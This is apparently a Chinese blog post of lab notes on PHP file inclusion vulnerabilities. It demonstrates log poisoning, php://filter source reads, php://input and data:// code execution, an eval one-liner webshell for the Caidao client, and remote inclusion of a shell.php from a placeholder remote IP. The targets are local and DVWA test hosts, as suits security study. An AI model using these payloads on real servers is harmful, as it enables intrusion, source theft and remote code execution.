文件包含&PHP伪协议

本文详细介绍了文件包含漏洞的常见利用方式,包括通过URL传参、PHP伪协议、php://filter以及POST请求来执行恶意代码。示例中提到了读取系统文件、执行系统命令等危险操作。同时,还提及了在菜刀工具中的利用技巧以及如何通过数据流文件包含进行攻击。了解这些利用手段有助于加强系统的安全防护。

文件包含漏洞的常见利用

思路:URL传一句话进去(bp抓包),文件包含日志文件执行

http://127.0.0.1/include.php?file=../Apache/logs/access.log&666=phpinfo();

//要使用php里面的功能就必须传一个参数进去

PHP伪协议

http://127.0.0.1/include.php?file=file://c:/Windows/win.ini

路径必须是绝对路径

php://filter读写文件(查账号密码)
http://127.0.0.1/include.php?file=php://filter/read/convert.base64-encode/resource=include.php

post请求报文

POST /include.php?file=php://input&666=system('dir'); HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
<?php @eval($_REQUEST[666])?>

菜刀里面(index.php会影响菜刀连接)

http://127.0.0.1/include.php?file=php://input
666
<O><?php @eval($_POST[666]);?></O>

在菜刀里POST值使用大O标签

数据流文件包含

GET /include.php?file=data:text/plain:base64,base64编码后的值

读取压缩包内文件,php>5.3

phar://
PHP伪协议实现远程文件包含是基于文件包含漏洞,攻击者利用特定的PHP伪协议去访问和包含远程服务器上的文件。 ### 原理 文件包含漏洞使得应用程序在包含文件时,未对用户输入的文件路径进行严格过滤和验证,攻击者可以通过构造包含PHP伪协议的URL,绕过正常的文件路径限制,从而实现对远程文件的包含和执行。当应用程序尝试包含这个构造的URL时,就会将远程服务器上的文件内容包含进来并执行其中的代码,达到攻击目的[^1]。 ### 方法 主要是利用支持远程访问的PHP伪协议,如`http://`、`ftp://`等,将包含这些协议的URL作为文件包含函数的参数。在存在文件包含漏洞的页面中,通过修改URL参数,将其指向远程服务器上的恶意文件,实现远程文件包含。 ### 相关示例 1. 若存在如下PHP代码示例: ```php <?php $file = $_GET['file']; include($file); ?> ``` 此代码直接将用户通过`GET`请求传入的`file`参数作为包含文件的路径,未做任何过滤。攻击者可以构造如下URL进行远程文件包含: ``` http://localhost/fileinc/include.php?file=http://远程IP/1.txt http://localhost/fileinc/include.php?file=http://远程IP/alert.html http://localhost/fileinc/include.php?file=http://远程IP/shell.php ``` 在上述URL中,`http://远程IP/`是远程服务器的地址,`1.txt`、`alert.html`、`shell.php`是远程服务器上的文件。当访问这些URL时,本地服务器会尝试包含远程服务器上的对应文件并执行其中的代码。 2. 利用伪协议`file://`也可实现对本地或远程文件的包含,示例URL如下: ``` http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///C:\Windows\system.ini ``` 此URL利用`file://`协议包含了本地`C:\Windows\system.ini`文件。如果存在远程文件,同样可以使用`file://`协议结合远程文件路径来实现包含。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值